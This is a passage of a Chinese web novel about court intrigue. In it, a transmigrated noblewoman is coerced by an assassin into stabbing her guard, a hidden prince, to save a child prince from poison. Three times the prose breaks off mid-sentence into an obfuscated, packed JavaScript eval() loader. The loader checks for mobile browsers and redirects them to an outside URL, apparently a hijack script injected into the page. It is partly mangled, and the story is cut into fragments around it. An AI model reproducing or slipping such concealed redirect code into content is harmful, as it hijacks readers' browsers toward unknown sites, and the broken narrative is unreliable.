张屏一袭月白色锦袍布满灰尘,腰间束一条明黄色丝绦,头发有些松散,能看出来是个穿着打扮异常考究的人,但长得尖嘴猴腮,脸庞线条毫无棱角,实在过于平庸。 他目光直直地看向崔白玉,扬声道:“........我和玉儿早已心意相通,我是他的情郎。” 崔白玉:“........................” 她努力确认自己是不是听错了。 崔琅华登时气上心头,低声呵斥道:“住嘴!” “凭什么?”张屏两颊却凹陷,眼中燃烧着熊熊怒火,死死地瞪着他,“郎主,我和玉儿早已心意相通,而且她已经将庚帖交与我,我们两个的婚事只差长辈同意,要不是你执意阻拦我们二人,我们两个会走到今天这个地步?玉儿就是喜欢,信任我,她也给过我承诺!日后,不管你们哪怕是不同意,我们都会纠缠一辈子!” 崔白玉敢赌上性命,这货绝对是被原身蛊惑了心智。 原身极其慕强,她是绝对不会喜欢上一个平庸的男人。 崔琅华道:“白玉你认识他?” 崔白玉抿了下唇,正欲开口,“我——” “玉儿!”张屏担心她不认自己,便没让她把话说完,“玉儿,你可别忘了我为你做过的事,我身上的伤可都是为你受的,刺杀苏有枝也是你让我去的,玉儿,我对你是真心的!” 崔白玉眉头狂跳,微微睁大眼睛。 大哥,你的玉儿已经弃你而去了! 见她一脸冷漠,张屏再也顾不得其他,大步冲上前想要抱住人。 可惜崔九没有给他这个机会,他倏地上前一步,挥刀而下,直接将人斩杀。 一瞬间,鲜血喷涌而出,尸体应声倒地。 崔九站在崔白玉面前,挡住了血腥的场面,声音冻到人心底,“够了。” 人就这样毫无征兆的死了。 郎中本来还想和张屏联合在一起,将责任都推到崔白玉身上,现如今,他对上崔九的视线,连滚带爬地躲在桌底。 苏有枝生出一身冷汗,满是惊恐与难以置信,“崔九,你这是什么意思?我不是送你离开崔府了吗?” 崔九手中那把长刀还残留着温热的血迹,在烛火下闪烁着冰冷的杀意。 他冷冷地看着她。 “!!!” 崔白玉抬起扇子挡住半张脸,心里暗暗吃惊。 感觉苏有枝再多说一句,刀就架在了她的脖子上。 崔九的脾气这么差吗? 他露出的眼神是想杀了她。苏有枝瞳孔急剧收缩,目光中带着无法言说的惊恐,躲在了崔琅华身后。 以往崔九对她都是有求必应,何曾对她威胁恐吓。 屋里的人都是经历过大场面,看到这一幕并未尖叫出声,但也噤若寒蝉。 崔九不动声色收刀入鞘。 崔琅华已然被气昏了头,“白玉,你当真没有话对我说?” 原身怕不是已经住进她的别墅享清福?崔白玉上前一步,站在崔九身侧,尽量不去看那具尸体,“事情已经这样了,不必多言。” 崔琅华道:“你以前不是这样的,是不是有人威胁你?” 崔白玉眼中浮现出一两丝惭愧,道:“人总是会变得。” 崔琅华安抚好苏有枝,派人护送她离开,随后走出正堂,看了一眼崔白玉沉声道:“你跟我过来。” 崔白玉站在原地未动,抬眼与崔琅华对视,觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308985|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸口疼得厉害。 讲真的,都闹到这个局面了,崔琅华还是没有放弃她,原身有一个这么好兄长,她都有点嫉妒了。 崔琅华攥紧的拳头咯咯作响。 周正德一眼便瞧出了端倪,笑了笑,“崔大人不用担心崔二姑娘的安危,有齐太后庇护,二姑娘绝对不会出事的。” 崔琅华心里乱得很,眼神寒霜尽覆,攥紧拳头,厉声道:“犯了错就该受到惩罚,来人,把她给我关起来!” 这哪是关起来?这摆明了是要庇护!如果只是方才的罪行,去乡下吃几年的苦头也就揭过去了,可要是和齐太后扯上关系,就是能不能活的问题了。 周正德站起身,缓缓说道:“这怕是不妥,崔姑娘肩负重任,把人关起来,坏了太后的事,我们谁都担待不起。” 崔琅华咬牙道:“我担得起!” 担不起啊,崔白玉已经一脚陷入泥潭了,再这样下去还会把他也下水,“没什么可说的,以后井水不犯河水,日后不必再见了。” 丢下这一句,她便带着崔九转身离开。 桃酥看着崔琅华,欲言又止,终是没说什么,快步跟上崔白玉。 不知道现在是什么时辰,细雨屋檐下,雨滴随风飘进屋内,带着些许寒意。 崔白玉站在窗口,拢了拢被风吹乱的披帛,眼皮微微动了动,似在斟酌。 沉默半晌,她开口道:“太后和太子之间的争端愈演愈烈,此时不在京城等待时机,跟我来陇州可不是明智之举。” 崔九眼神微动,盯了她半晌,“你觉得太子会输?” 静默了一会儿,崔白玉慢慢勾起唇角,语气斯斯文文:“太后有世家和东厂暗中支持,太子身边有什么人?” 崔九道:“京城世家并非铁板一块,齐家和徐家明争暗斗,东厂的安友生暗中挑唆,齐嬛若是没有齐阁老帮衬,早就被反噬了。” 崔白玉道:“东厂的对头是谁?” 崔九道:“天策卫。” “原来方叙言这么厉害,难怪京城的小娘子都排队想嫁给她。”崔白玉随口一说,坐回桌前喝了一口热茶。 崔九手中的动作微微一顿,不冷不热地说,“哪里厉害?” 崔白玉忽然极轻地笑了一下,“我不过是随口夸了一句,你酸什么?” 崔九站起身,准备离开。 崔白玉轻轻勾住他的手腕,继而握住他的掌心,“今日之事,多谢了。” 温热的触感让崔九呼吸声徒然加重,他感觉全身的血液都在战栗,迅速抽出手,表情怪异。 不知为何,崔白玉忽然很想笑。 她歪着头看向窗外,乌黑的发丝垂落在肩头,没忍住,笑了好一会儿,连带着肩头微微发抖。 崔九垂眸遮住眼底的情绪,“笑什么?” 声音忽然沉了下来,崔白玉忙收敛了脸上的笑意,再次抓住他的手,真诚地问道:“你没有什么想对我说的?” 崔九手臂上的肌肉紧绷,但手上没有任何反应,良久,他道:“你想做什么?” 崔白玉摩挲着他手上的粗茧,过了许久才轻轻说了一句,“我跟你不一样啊,你没有想守护的人,但我有,我在想,我能不能护住我想守护人。” 声音带上几分诱哄的意味,让人无端有种暧昧的感觉。 31. 赵丞 崔九自然能听出她的阴阳怪气,低头看着她,并不言语,只是眸子里一片寒飕飕的冷意。 崔白玉以为他不喜欢身体接触,再次松开了手,不料,寒意更甚。 “.......” 看来还是一个很难哄的人。 想到这里,崔白玉愣了一下,忍不住微微叹了口气,“你真的不打算告诉我你是谁吗?” 崔九心跳得厉害,也不知站了多久,视线始终看向别处,直到听见这话,眼底戾气陡升,毫不犹豫地说:“没有。” 又是这副拒人于千里之外的态度,崔白玉心里不失望是假,她略显头疼地压了压眉心,道:“那你要做什么?” 如果崔九一直都是这个反应,那她的耐心应该很快就消失了。 毕竟崔白玉不是一个长情的人,再加上对婚姻没有向往,恋情一旦度过热恋期就没了后续,长相厮守是完全不可能的。当然,这个问题在她的生活上也很明显,很多时候,无论是交往的人还是培养的兴趣爱好。 毫无疑问,她都是一时兴起,图得新鲜和刺激。 在某种意义上,崔白玉确实有点欺负眼前这位纯爱少年了。 崔九忽然一阵焦躁,阴沉沉望了她一眼。 说什么,说他想杀父弑君,杀了皇城所有虚情假意之人? 他狼子野心,十恶不赦,丧心病狂,这是不争的事实,但他不想让崔白玉知道自己的不堪。 谁都可以,唯独她不行。 崔白玉不想再说什么,眉眼一片恬然,朝他淡淡一笑,语气变得格外温柔,“回去吧,晚安。” 算了,其实他们就维持这种关系也不错,至少崔九对她没了杀心,还缓和不少。 翌日中午,微风和煦。 溪边的垂柳随风摇曳,几个孩童沿着溪边从南往北跑,手里抓着蝉翼似的风筝。 赵辛一个人孤零零地坐在一颗歪脖子树下的石头上,安安静静地吃自己的东西,一副乖巧可人的画面。 崔白玉不知是何时走过来,扇子微微倾斜,帮赵辛挡住刺眼的阳光,蹲下身看他,问道:“想放风筝?” 赵辛抬头看到她一脸惊喜,犹豫半晌,点头之后又开始摇头,“我就是过来看看。” “原来是这样,”崔白玉笑了笑,“看来是我误会了小殿下的心意。” 赵辛生怕给她添乱,手里已然生出了汗,磕巴道:“什么,什么心意?” 崔白玉注意他的情绪,暗暗吃惊,她没想到一个小孩子居然敏感到这种程度,“小殿下在这里眼巴巴地看了半晌,我以为小殿下是想放风筝的。” 这以前在太后身边过得什么日子? 她抬手指了一下桃酥,“你看桃酥姐姐手里拿的是什么?” 赵辛闻言立即转了个身,看见桃酥手里正拿着一只粉色的燕子风筝。 风筝的尾巴上图案丰富多彩,漂亮极了。 赵辛明亮的眼眸此刻像是被点亮的星辰,放下手里的食物,“这是给我的?” 崔白玉点了点头,温声道:“小殿下以后想要什么只管开口,不要憋在心里了。” 小孩子过分懂事可不是好事。 话未说完,赵辛扑到崔白玉怀里,紧紧抱住人,脸上绽放出一个无比灿烂的笑容,声音里满是抑制不住的激动:“谢谢崔姐姐!” 崔白玉低低笑了一声,轻拍几下赵辛的后背,“快去吧,天黑之前还要回去呢。” 赵辛太过激动,反应过来,顿时红了脸红,低着头退开一步,“崔姐姐。” 崔白玉嗯了一声,伸手摸摸少年的头发,“快去吧。” 赵辛满心欢喜地跑开,顾盼之间神采奕奕。 不消片刻,粉色的燕子已经风筝越飞越高,像是一只挣脱束缚的笼中鸟于天空翱翔。 赵辛脸上露出幸福的笑容,正想叫人,结果看见崔白玉身后站了一个陌生的男人,头皮立刻绷起来。 影卫走到崔白玉身边,道:“镜禾山后山附近有人埋伏,需要动手吗?” 镜禾山后山的洞穴是赵呈的银库,如今已有太后的人在旁看守,怕是早就暴露了位置。 崔白玉脸上的表情没有丝毫变化,但眸子里是一片清冷的淡漠。 现下的情况已经是车薪杯水,只能勉尽人事而已。 她道:“太晚了,贸然行动一定会吃亏的。” 影卫到底是跟随赵呈身边多年,发生这么大的事,如何无动于衷? 他道:“那是太子多年的心血,里面有大量的库存兵器和银两!” 崔白玉眼神微微一寒,漆黑的眸子有如墨染,“我的任务只是保护七殿下。” 她并不认为自己有改变这个时局的能力。 敌暗我明,这种情况什么都有可能发生,她又能如何?更何况,此时太后也派人暗中跟着她。 影卫攥紧的拳头微微发颤,过了半晌,道:“属下僭越了。” 崔白玉移开目光,发现赵辛正一直直勾勾盯着他们,眼睫轻轻颤了一下。 赵辛很懂事,也明事理,他见影卫走开,才小步走到崔白玉身边,小声问道:“崔姐姐,是发生了什么事吗?” 赵呈的计划崔白玉并不知晓,可事到如今,形势紧迫,她心里已经有了些猜测。 她道:“没什么,只是想让人换个宅子,但没找到合适的。” 赵辛的一双眼斯文而澄澈,此时心却慢慢往下沉,流露心底的恐惧与难堪。 又是这样,一到关键时刻,他就是一个到处惹麻烦的累赘,所有人都瞒着他。 傍晚回到院子,赵辛心事重重地吃过饭,便一个人回到房间读书。 书案前,烛火摇曳,忽然嘎吱一声,一阵风吹开了窗户。 赵辛放下书本,担心是小白乱跑,特意顺着窗户望了一眼院子,但什么没瞧见就把窗户掩上了。 可就在转身之际,一位身着黑衣的女子凭空出现,坐在他的书案前。 赵辛一惊一怔,攥紧手指,不由得往后退了几步,撞到了柜子。 花枕支起一条腿,漫不经心地翻看着桌上地纸张,笑道:“没想到七殿下还有一手好字。” 赵辛眸子透露出内心的戒备与谨慎,低声问道:“你是何人?” “这不重要,”花枕轻轻合上册子,侧脸眯着眼望向他,“小殿下,你只需要知道我是来告诉你一件大事的,一件你的崔姐姐绝对不会告诉你的大事。” 赵辛袖子中的手微微一动,“什么?” 花枕的指尖在册子上字迹上来回摩挲,“来如风雨,去似微尘。这句话,当真是你皇兄一辈子的写照。” 这是赵辛方才抄写的东西。 赵辛心里猛地一揪,顿时面白如纸,“你这话是什么意思?” 花枕看了一眼可怜巴巴的赵辛,言简意赅地说道:“废太子........赵呈率两千兵士擅自进驻陛下的行宫,现已经是阶下囚。” 赵辛双手无力地垂在身侧,仿佛整个世界都在这一刻崩塌,愣了半晌,眼神只剩下无尽的空洞与绝望,颤声道:“你说的......可是真的,皇兄入狱了?” 花枕歪了歪头,一脸无辜地说:“你可以去问你的崔姐姐,她应该比谁都清楚这件事。” 赵辛嘴唇微微颤抖,觉得胸口被压上了一块巨石,无法喘息,紧接着,疯魔了一样跑出房间。 “受人之托,忠人之事。”花枕浅浅一笑,目泛精光,抬手掐灭了书案上的烛火。 今日,她就要看看崔白玉如何抉择。 这会儿,崔白玉正在喂猫,被破门而入的赵辛吓了一跳。 赵辛的身体随着抽泣而颤抖,不等把气喘匀,上前紧紧攥住崔白玉的袖子,“皇兄究竟发生何事?!” 崔白玉下意识皱了下眉,“是不是听到有人胡言乱语?” “我就是想知道皇兄如何?我求你了,你告诉我好不好,我就只有一个皇兄了.......”赵辛泪水如决堤的洪水般汹涌而出,指关节因用力而泛白。 声音里满是哀求,崔白玉心尖一颤,垂眸看着亵衣上晕开一小片水渍,语气真诚极了,轻哄道:"没有的事——" “你骗我!”赵辛发出一声撕心裂肺的哭喊,身体不受控制地剧烈颤抖,“有人和我说,皇兄被构陷谋反关起来了,你告诉我这是不是真的?” 崔白玉艰难地看他一眼,没有说话。 “皇兄是绝对不会谋反的!”赵辛就是看人脸色活下来的,见崔白玉不答,他当即就明白了怎么回事,“我要回去!” 崔白玉的语气严厉起来,“赵辛!” 赵辛痛苦地摇了摇头,哀求道:“我求你了,崔姐姐,你放我走吧,我只想见皇兄一面,我不相信他会谋反.......” 崔白玉道:“你回去也见不到他。” 赵辛后退了一步,抽抽噎噎地说道:“所以皇兄真的被关起来了.......” “我答应了太子殿下,要照顾好你,他不希望你卷入这场风波,”崔白玉担心他跑出去,反过来抓住他的手腕,“你就算回去,也什么都做不了。” “你是坏人!我要回京!我要回去找皇兄!”赵辛的情绪已然失控,张开嘴狠狠地咬住崔白玉的手臂,想要挣脱逃跑。 崔白玉嘶了一声,没有松手,下一刻,不等她阻止,崔九匆匆赶来抬手将人敲晕了,直接一步到位。 崔九一手拎着赵辛扔在地上,低下头,一把抓住了她的手,掌心凉得惊人。 “没有咬伤,”崔白玉唔了一声,撩开袖子,上面只有一个红印子,“是有人闯进院子吗?” 崔九眸子散去了阴沉与戾气,盯着她的眼睛,声音有些沙哑,“花枕。” 还真是阴魂不散,她们之间有什么仇怨吗? 崔白玉一时有些发怔,旋即,不动声色地挪开视线,想要蹲下身扶起赵辛,崔九先她一步,把人安置在了美人榻,顺便找出柜子上的药膏。 崔白玉用水简单地冲洗一下,察觉崔九站在她身后盯着自己,后背生出一层冷汗,好在刺痛感瞬间让她清醒了不少。 房间一片寂静,他不说话的时候,眼神很平静,也很渗人。 这段时间的相处,她发现崔九没什么喜欢的东西,也没什么在乎的东西。 像个无情无欲的和尚,但满身仇恨,血腥会让他变得更兴奋。 思及此,崔白玉不禁想起相国寺那个秃驴曾说的话。 崔九会引起天下大乱。 两人走到窗边案前坐下,崔白玉低头又喝了口水,心里又开始犯难。 皇权之争,各大世家和那群阉党都是一群杀人不眨眼的疯子,京城这滩浑水,她是真不想趟,怎么就躲不掉了? 崔九上完药,又给她的手腕绕上一层素纱。 崔白玉脑子一片混乱没有丝毫头绪,顺着崔九的目光望去,感觉他要把赵辛的牙都一颗颗敲下来。 她睫毛轻轻扇了下,轻声开口:“……太子真的被关起来了?” 崔九眼神陡然森寒起来,道:“怎么?” 崔白玉心尖一颤,陷入了很长一段时间的沉默。 好歹是做了五年的太子,转眼间就被关进监狱,废黜应该也就是这几日的事。 京城的局势瞬息万变,她已经没有多少时间了。 崔九见她一副失魂落魄的样子,眼神瞬间幽深下来,颈间青筋浮现,显然是在极力隐忍着什么。 可崔白玉实在是没心思应付他,即使察觉到他的情绪,也只是敷衍了一下,“你回去早点休息,我还有事需要处理。” 说完,崔白玉就被他骤然冷下来的气息吓到了,赶紧大步朝外走出去。 崔九一言不发地站在原地,感觉心头被人插上一刀,连带着整个胸腔都痉挛了。 此时的他脑海里只有一个念头。 ——崔白玉喜欢的是赵呈,不是他。 赵呈必须死。 还有方叙言,如果他再碍眼,也得死。 夜色深沉。周正德还在熟睡,门口忽然响起一阵叩门声。 “谁啊,大半夜的敲什么门!”这要是在宫里,肯定打得他老娘都不认识。 身旁的女子起身帮他披了件衣服,周正德气呼呼地蹬上鞋子,推开了一道门缝,瞧见是崔白玉,当即黑了脸,“大半夜不睡觉,你什么毛病?” 崔白玉脸色有些掩饰不住的发青,径直推开门往里走,影卫紧随其后,二话不说就上前控制了周正德。 床上的女子见状,吓了一跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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周正德轻嗤道:“真面目露出来了。” 崔白玉笑了笑没说话,下一刻,影卫就将方才的女子抓了回来,手里拎着一个打了补的包袱。 崔白玉看了一眼周正德,打开包袱一看,果不其然,里面是一块明黄色的绫锦织布,上面绣着精致的祥云瑞鹤。 肯定是圣旨了。 周正德咬牙切齿道:“崔白玉,你是个聪明人,什么事该做什么事不该做,你得在心里掂量掂量。” 崔白玉没搭理人,慢条斯理地展开圣旨,大致看了一下里面的内容,慢慢回头看去,温和一笑,抬手示意影卫放手,“宣王是个好封号,无诏不得回京也是常理之中。” 看来,当今的皇帝还没有赶尽杀绝的意思。 周正德上前一把夺过圣旨,狠狠地瞪了她一眼,“莽夫行事!” 崔白玉善解人意地说道:“周公公莫气,我今日来呢,肯定为公公准备的不止一份惊喜。” 周正德听到这话险些一口气没喘上来,“你管这叫惊喜?” 崔白玉笑道:“周公公不是在调查我身边的侍卫吗?我知道啊。” 周正德顿时心中生出隐忧,一脸不屑道:“咱家已经有猜测。” 崔白玉抿了抿春,眼睛似乎有一闪而过的懊丧。 “崔白玉,咱家劝你最好不要动他,”周正德冷哼一声,接着又压低声音继续说道,“这个人在陛下心里的分量,二皇子连手指头都比不上,你要是得罪了他,别说你和小殿了,就连你们这个崔家都会受到株连!” 这么严重?! 崔白玉脸色顿时就不太好了,“........原来他真的是赵丞。” 周正德道:“咱家已经把消息八百里加急传回京城,想来陛下已经看到了。” 崔白玉沉默良久,抬眸看他:“.........公公这是什么意思?” 能是什么意思,你的报应早晚会来!周正德愤然道:“别以为咱家看不出来你那些下流的手段!” 这些事,他要是有命回去,肯定要一字不差的上报给陛下。 崔白玉不想再提这茬,岔开话题道:“周公公,我是来和你谈交易的。” 周正德道:“交易?那方才的事如何解释?” “意外。”崔白玉停顿了一下,“我可以替公公隐瞒身份,所以公公也别再追究我的过错。” 周正德皱着眉头沉吟。 确实,如果他们之间真的撕破脸,谁都捞不到好处,而且崔白玉在库银那里还压他一头。 崔白玉察言观色,在合适的时机递给他一张纸,“上面就是库银的藏匿地点,我的诚意到位了,所以筹码我就带走了。” “什么筹码?”周正德在她面前可谓是一踩一个坑。 崔白玉看了一眼角落的女子,“时机到了我就给你送过去。” 女子是个哑巴,起初,她装扮成太监的模样在周正德身边侍奉,但后来周正德知道她看出端倪,也就不装了。 哑女千里迢迢跟了一路,周正德也待她非同一般,平日就连去山坡摘个野果子都派人跟着,生怕出了意外。 她在周正德心里是有一定分量的,这跟她打探来的消息完全吻合。 哑女应该就是周正德在宫外的心上人。 一切安置停当,崔白玉便让桃酥带着哑女先离开。 然而折腾了一晚上,眼看着天就亮了,崔白玉沉重地倒在榻上,正准备躺下来休息,抬头看了一眼对面的房间,发现门是敞着的,瞬间惊醒。 “!!!” 人呢? 她不是派人在暗中看守了吗! 崔白玉胸口一阵血气翻腾,急匆匆地走出房间,叫来了人。 影卫道:“小殿下说身体不舒服,孙统领带他去外面待一会儿。” 崔白玉气结道:“这个时辰?鸡都没打鸣呢!” 影卫道:“小殿下之前喜欢趴在城墙上看日出。” 崔白玉一个头两个大,前脚迈过门槛,后脚刚跟出来,然后就看见影卫气势惊人的朝她跑来。 如果不出意外的话,应该是出意外了,她绝望地想。 32. 捅刀 槽点太多,崔白玉已然无从说起,准备先回房间补个觉。 齐太后交给她的任务是抓住时机,在京城发生变故后将赵辛秘密送回去,赵辛是齐太后打算扶植的第二个傀儡,花枕不敢拿他怎么样。 至于,杀死崔九,不,杀了赵丞应该是花枕来陇州的任务。 赵丞是那么好杀的? 崔白玉捏了捏耳朵,觉得自己应该趁着这个机会坑一下花枕,不然对不起这些日她吃过的苦头。 她回到屋子,脱下鞋子准备睡个回笼觉。 结果刚闭上眼没一会儿,猝不及防地,被人从被子里拎出来。 素白中衣散开,露出白皙的锁骨。 “还睡。”声音带上了几分嫌弃。 崔白玉双眼熬的通红,一脸懵圈,还没反应过来就被崔九穿上靴子。 “怎么是靴子?”还挺合脚。 崔九没有回应,抓住她的手腕,不等人站稳脚步,径直拽着人离开了屋子。 崔白玉一个踉跄撞在崔九的后背,抬手捂住了鼻子,“城内有暴乱?” 闲下来的时候,她总是忍不住地猜,这厮究竟在想做什么? 关于他的谣言太多,众说纷纭,委实不好判断。 他是要重新夺回太子之位,还是报复这世上的人? 崔九回过头看她,没有说话,继续带着她往外走。 不说话就是默认了,崔白玉都懂,相处这么长时间,默契多少是有点的。 两人刚出院子,崔白玉看着门外两排身披战甲的士兵,手执兵刃,掌心瞬间生出不少冷汗,下意识挣脱他的手。 可惜,就在下一刻,她被毫不怜惜地托着腰臀抱上马背。 崔九臂力骇人,单手就把她托上去,崔白玉视野忽然升高,手胡乱地抓了点什么才勉强稳住身形。 她攥着鬃毛,委屈道:“我不会骑马——” 赵呈面前装蠢,方叙言面前装纯,崔九面前装可爱,苦熬了这么长时间,她容易吗! 话未说完,崔九翻身上马,贴在她后背,将整个人都拢在怀里。 崔白玉心脏砰砰直跳,鼻尖因紧张出了薄薄的汗,她不明白自己为什么忽然有了这种待遇。 尤其是在睡前她琢磨如何杀了崔九的情况下,简直头皮发麻。 京城发生变故之前,崔白玉一直游离在权力中心之外,她无法融入那些世家大族的圈子,所以只能和各种各样的人打交道,思考他们的动机和立场。 她的一举一动无疑是等待时机,寻找能上位的机会。 如果不能穿回去,崔白玉就要在这个时代安身立命,她不可能一直让自己处于被动。 难道有什么能两全的办法吗?在既不得罪崔九的情况下,也能得到太后提携。 崔九吩咐将士分头行动,结果崔白玉忽然靠在自己身上叹气,沉声道:“抖什么?” 暴动啊,弟弟!面对这种情况是个人都会紧张害怕的好吗? 张清俊干净的脸近在咫尺,一股冷气顺着后颈窜到后脑勺,崔白玉心头突然跳了一下,直了直腰板,“走吧。” 还好让桃酥带着人连夜撤离了,不然就更麻烦了。 天色暗淡,浓烟弥漫,城内家家户户紧闭门窗,不远处的街巷传来传来急促的马蹄声,喊杀声、惨叫声交织在一起,很快就有人手持刀刃从巷子里跑了过来。 显然,对方脸上满是汗水和血污,已经杀红眼了。 崔白月整个心悬了起来,崔九当即一手环住她的腰身,双腿一夹马腹,如离弦之箭般冲了出去。 霎时间,刀光剑影闪烁,鲜血飞溅。 崔九带着崔白玉直奔城外,途中几次与叛军交手,崔白玉都不敢睁开眼睛,空气中弥漫着浓烈的血腥味和刺鼻的硝烟,叛军所到之处,都是破碎的瓦片、燃烧的房屋和残缺不全的尸体,惨不忍睹。 两人出城后,紧接着,密密麻麻的箭雨落下。 马匹骑得飞快,风声在耳边呼啸而过,崔白玉好似听到箭矢刺穿皮肉的声音,睁开眼睛尝试着回头察看情况。 “别动。”崔九将人紧紧地裹在怀中,连衣角都没露出来。 崔白玉感觉到后背崔九的心跳,脑子嗡嗡的,漆黑的眼睛就那么愣愣看着他。 不知过了多久,马一路狂奔,直到身后追兵不见了踪迹。 崔九勒紧缰绳,马蹄嘶鸣一声,高高扬起前蹄,带起一片沙尘。 崔白玉再次被崔九稳稳抱下来,看到他后背渗出的一大片的血迹,从袖子里取出一条皱巴巴的帕子。 可一条帕子能作什么?能止血还是能包扎伤口? 崔白玉手背的皮肤白皙细腻,捏紧了手指,会有细微的筋脉浮现。 马自觉走到溪边喝水,崔九靠在树干上休息片刻,抬眸看她,滚烫的鲜血从他的指缝间不断渗出。 两人四目相对,崔白玉的目光带着茫然跟无措,愣了须臾,走到他身边,说道:“去那边吧,那里有块石头可以避风。” 两人身上都出了汗,要是染上风寒,情况会变得更加糟糕。 崔九完全不顾及身上的伤口,眼睛像是定在她身上了,目不转睛地盯着她看,沉默了一阵,崔白玉将他的手臂放在自己肩上,轻声道:“我搀你过去。” 崔九嗯了一声,眼神晦暗不明,心底好似里涌出什么东西,而崔白玉好似扛了一座山,每一步都走的极其艰难。 这具身体严重缺乏锻炼,等她将人安置好,扶着石头喘了半晌。 此时,花枕一定在某处盯着他们,崔白玉脑子里所有念头都是一团乱麻,表情也有些不自然,“我去给你打些水。” 她尽量表现出两人的疏离,让花枕放弃让她行刺的念头。 崔九只是默默地看着那背影,深邃幽暗起来。 天色阴沉,雾气弥漫的山谷中,树叶上挂着的露珠在晨光下闪烁着晶莹的光芒。 崔白玉折了一片完整的叶子,心不在焉的在溪边反复冲洗了几遍。 “玉儿。”果不其然,身后忽然响起妩媚的声音。 崔白玉闻声,眼中刹那间有如覆了霜雪。 花枕轻笑一声,见崔白玉转身看向自己,脸上笑意更甚,“玉儿,当真是一点都不在意小殿下的安危?” 杀死崔九,已经势在必得了。 崔白玉道:“你敢动他?” “杀他,自然不敢,”花枕停顿了一下,伸手擦了把她的额头的细汗,嫣然一笑,“可你别忘了,太后要的只是一个傀儡,不是一个活蹦乱跳的孩子,赵辛只要有条命在就可以,下毒,抽筋,断骨都是可以的。” 崔白玉手微微发颤,努力维持面上的镇定,“你想如何?” 花枕云淡风轻地说:“我不是早就告诉你了吗?杀了赵丞,赵辛就会平安无事回来。” “我如何得手?”崔白玉袖子中的手攥得极紧,只敢轻轻说这么一句。 “赵丞对你毫无防备,趁着他受伤很容易就能得手,但我就不行了,我若是和他动起手来,定然要耽误一番功夫,只怕,那时候赵丞死了,赵辛来不及吃解药,也跟着去了。”花枕说这话的时候,眼中的戾气压都压不住,不带一丝温度。 崔白玉道:“我看你是疯了。” “玉儿,还有心思跟我谈笑吗?”花枕捏着崔白玉的手一翻,藏在袖子里的匕首便滑了出来,“这把刀挺合适的杀死他的,我相信,你一定会选择小殿下,毕竟赵丞一死,京城里的那些人就再也翻不了身,届时,太后坐稳朝局,许给你的条件都会一一实现,试问,天底下哪个聪明的女子能拒绝权力的诱惑?” 崔白玉只觉得浑身一震,一把打掉了她的手,花枕按捺不住心里的高兴,继续说道:“说起来,你恨苏有枝吧?你帮了我,我也可以帮你的,崔家的人——” 崔白玉一颗心直坠下去,坠到无底的深渊,厉声道:“不要干预我的事。” “你猜对了,我什么都做得出来,”花枕指尖缓缓滑过刀刃,附在崔白玉耳边低笑,“我就是个疯子,一个只会杀人的疯子。” 只有别人不好过,她才会好过。 过了一会儿,崔白玉不知从哪摘了几个果子回到崔九身边。 崔九的脸色似乎有些苍白,但已经简单地处理了一下伤口,他接过果子,微微侧头看了她一眼,问道:“怎么了?” 崔白玉想起一会儿要做的事,后背已然生出一层冷汗,轻轻眨了下眼,视线似乎有些闪躲。 她顿了顿,跟他隔着一两步距离坐下,道:“我在想,我能不能活着离开陇州。” 声音里苦涩的感觉很明显,崔九不动声色地打量着人,将她的神色变化尽收眼底,“你想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔九没有推开她,也没有任何反抗,唯有眼睛双眸猩红,如同一把锋利无比的匕首,是从未有过的阴冷与杀意。 崔白玉像被一只无形的手扼住咽喉,没有抽出匕首,袖口半截殷红,一把将人推开,起身离开了树下,没敢回头。 虽然刻意避开心脏,但此举无疑是把他再次推入深渊。 她一辈子都忘不了崔九看她的眼神,也不敢想以后重逢的场面。 花枕从远处的一棵树后面缓缓走出来,看着赵丞跪在地上,最后撑不住倒了下去,露出一个笑脸,“真是心狠手辣的女人,可怜太子殿下的一片真心。” “我不需要这种的人爱,”崔白玉见她朝崔九走过去,漫不经心地开口说了一句,“方叙言倒是可以考虑一下.......” 花枕和她擦肩而过,听到这话,停下脚步,瞬间变了脸色,“你敢!” “他喜欢我,我也喜欢他,没什么不妥的,”崔白玉衣衫上血迹斑斑,一张帕子什么都擦不掉,“你不是清楚吗,我这个人没什么真心,为了往上爬就是不择手段。” 她将那个沾满血的帕子扔在地上。 花枕死死地盯着她,寒声道:“你这人真是恶毒,到处欺骗人的感情。” 崔白玉不答,头也不回地离开那里。 花枕回头看了一眼血泊中赵丞,冷然一笑,没再上前察看,反正刀刃上,她涂了毒。 等二人走下山,花枕带来的杀手纷纷现身,崔白玉不知从哪找来的披风裹在身上,一言不发,坐在马车旁不知在想什么。 经过这一番折腾,赵辛清醒不少,他低着头站在崔白玉十步远,不敢上前说话,也不敢看她。 等到天黑,影卫带回消息,周正德已经将城里的叛将,陇州刺史蒋钥成功缉拿。 一段时间的沉默后,花枕抬头看了看天空,阴沉得很,铅灰的云压得低低的,过一会儿就该下雨了。 她道:“陇州的事情解决的差不多了,该回去了。” 崔白玉缓缓站起身,偏头瞧了赵辛一眼。 怎么说呢,她之前确实有些狂妄了,忘记了有句话叫勇敢的人先死。 33. 太子 影卫牵来一匹马,崔白玉脸色平静得像一泓池水,将赵辛抱上马背,也跟着翻身上马,带领影卫飞跑而去。 花枕挑了一下眉,放飞手里的鸽子。 